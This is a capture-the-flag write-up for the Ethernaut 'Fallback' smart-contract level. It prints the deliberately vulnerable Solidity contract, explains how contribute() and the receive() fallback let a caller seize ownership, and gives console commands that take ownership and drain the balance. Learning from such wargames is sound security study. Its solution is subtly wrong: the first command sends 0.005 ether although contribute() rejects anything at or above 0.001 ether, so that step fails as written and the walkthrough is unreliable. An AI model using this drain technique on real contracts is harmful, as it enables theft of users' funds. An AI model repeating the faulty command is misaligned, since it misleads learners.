Ethernaut Level 1: Fallback

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Requirements

  1. Claim ownership of the contract.
  2. Reduce the balance to 0.

Concepts

Hack

There are 2 possible options if we want to gain ownership. First, at the function

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

notice that we become the contract owner if we call the function contribute() and we have more contributions than the current owner. Notice at the constructor, the contract owner initially has 1000 ether. Thus, if we contribute more than 1000 ether, we will become the contract owner.

Second, at the receive() fallback function

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

we become the contract owner when we send ether to the contract and have a non-zero contribution.

Solution

We first contribute to the smart contract.

await contract.contribute().sendTransaction({from: player, value: toWei("0.005")})

We verify that our address has a contribution.

await contract.getContribution()

Next, we send ether using the receive() fallback method.

await contract.sendTransaction({from: player, value: toWei("0.001")})

At this point, we should be the contract owner.

await contract.owner()

Lastly, we withdraw all the funds.

await contract.withdraw()

Done!